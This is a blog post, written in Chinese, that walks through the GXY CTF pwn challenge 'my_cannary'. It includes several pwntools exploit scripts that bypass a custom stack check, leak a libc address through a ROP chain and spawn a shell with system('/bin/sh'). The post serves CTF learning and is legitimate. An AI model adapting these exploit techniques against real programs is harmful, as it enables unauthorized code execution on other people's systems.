GXY_CTF_my_cannary-从零记录如何调试出来

Posted by Mr.Be1ieVe on Monday, January 13, 2020

查看main

image-20191223003852267

进入test()

image-20191223003835308

看见了read,等等先

image-20191223005942680

judge无法反编译,查看汇编

image-20191223005319299

看见了xor rdx,[rbp-8],以及上图的mov rdx, [rdx] 也就是先讲rdx指针里的数值放在rdx里,再将rdx和rbp-8的那个进行异或,一致则校验成功

点开read的buf

image-20191223005537590

buf只有30字节

再看看strings

image-20191223011138209

没有/bin/sh

所以我们得先绕过栈校验,再leak libc地址,然后再system /bin/sh

遂写poc

from pwn import *
sh = process("./my_cannary")
elf = ELF("my_cannary")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
pop_rdi_ret = 0x0400a43
start_main = elf.symbols['main']
context.log_level = "debug"
context.arch = 'amd64'
__libc_start_main = elf.got["__libc_start_main"]
sh.recvuntil("begin")
payload = cyclic(0x30)
payload += p64(elf.got['exit'])
pause()
sh.sendline(payload)
sh.interactive()
                           

ldd my_cannary 读取libc

获得pop_rdi_ret 地址

ROPgadget --binary pwn-100 --only "pop|ret" | grep "rdi"

这里使用got表的exit来放在cannary上,pause之后打开edb调试

image-20191223010439895

运行到这可以看见rdx值为 0x601058 [rdx] = 0x4006f6

payload += p64(0x4006f6)

image-20191223010623917

这样 rdx 和 [rbp-8] 的值就一样了,异或就为0

随后

payload += p64(pop_rdi_ret) payload += p64(start_main)

测试是否能return to main

image-20191223011050308

可以之后,我们再在pop_rdi_ret之后调用puts 打印libc地址 再return to main函数

from pwn import *
sh = process("./my_cannary")
elf = ELF("my_cannary")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
pop_rdi_ret = 0x0400a43
start_main = elf.symbols['main']
context.log_level = "debug"
context.arch = 'amd64'
__libc_start_main = elf.got["__libc_start_main"]
sh.recvuntil("begin")
payload = cyclic(0x30)
payload += p64(elf.got['exit'])
payload += p64(0x4006f6)
payload += p64(pop_rdi_ret)
payload += p64(__libc_start_main)
payload += p64(elf.plt['puts'])
payload += p64(start_main)
pause()
sh.sendline(payload)
sh.interactive()

直接运行,报错,也没有打印lbc,打开edb看

image-20191223011616461

这是啥地址,添加log输出之后

log.success("pop_rdi_ret====>" + hex(pop_rdi_ret))
log.success("put_plt====>" + hex(elf.plt['puts']))
log.success("__libc_start_main====>" + hex(__libc_start_main))
log.success("start_main=====>" + hex(start_main))

image-20191223011833341 发现咋跳转到了libc_start_main地址上,本应跳转到pop_rdi_ret的。偏移可能有问题

from pwn import *
sh = process("./my_cannary")
elf = ELF("my_cannary")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
pop_rdi_ret = 0x0400a43
start_main = elf.symbols['main']
context.log_level = "debug"
context.arch = 'amd64'
__libc_start_main = elf.got["__libc_start_main"]
sh.recvuntil("begin")
payload = cyclic(0x30)
payload += p64(elf.got['exit'])
payload += p64(0x4006f6)
payload += cyclic(20) #计算20个来看偏移
payload += p64(pop_rdi_ret)
payload += p64(__libc_start_main)
payload += p64(elf.plt['puts'])
payload += p64(start_main)
log.success("pop_rdi_ret====>" + hex(pop_rdi_ret))
log.success("put_plt====>" + hex(elf.plt['puts']))
log.success("__libc_start_main====>" + hex(__libc_start_main))
log.success("start_main=====>" + hex(start_main))
pause()
sh.sendline(payload)
sh.interactive()

image-20191223012131411

这样就看见了,然后cyclic -l 0x61616163计算得8

遂将cyclic20的修改为8 payload += cyclic(8)

image-20191223012338855

这样就打印出一堆乱码了,然后写代码接收libc_start_main,计算system和binsh

Exp

from pwn import *
sh = process("./my_cannary")
elf = ELF("my_cannary")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
pop_rdi_ret = 0x0400a43
start_main = elf.symbols['main']
context.log_level = "debug"
context.arch = 'amd64'
__libc_start_main = elf.got["__libc_start_main"]
sh.recvuntil("begin")
payload = cyclic(0x30)
payload += p64(elf.got['exit'])
payload += p64(0x4006f6)
payload += cyclic(8)
payload += p64(pop_rdi_ret)
payload += p64(__libc_start_main)
payload += p64(elf.plt['puts'])
payload += p64(start_main)
log.success("pop_rdi_ret====>" + hex(pop_rdi_ret))
log.success("put_plt====>" + hex(elf.plt['puts']))
log.success("__libc_start_main====>" + hex(__libc_start_main))
log.success("start_main=====>" + hex(start_main))
pause()
sh.sendline(payload)
__libc_start_main = u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
log.success("__libc_start_main=====>" + hex(__libc_start_main))
libc = __libc_start_main - lib.symbols['__libc_start_main']
system = libc + lib.symbols['system']
binsh = libc + lib.search('/bin/sh\x00').next()
payload = cyclic(0x30)
payload += p64(elf.got['exit'])
payload += p64(0x4006f6)
payload += cyclic(8)
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(system)
sh.recvuntil("begin")
sh.sendline(payload)
sh.interactive()

ubuntu18如果运行无法拿shell

payload += p64(binsh)
payload += p64(system + 0x1b)

「真诚赞赏,手留余香」

Mr.Be1ieVe's Treasure

真诚赞赏,手留余香

使用微信扫描二维码完成支付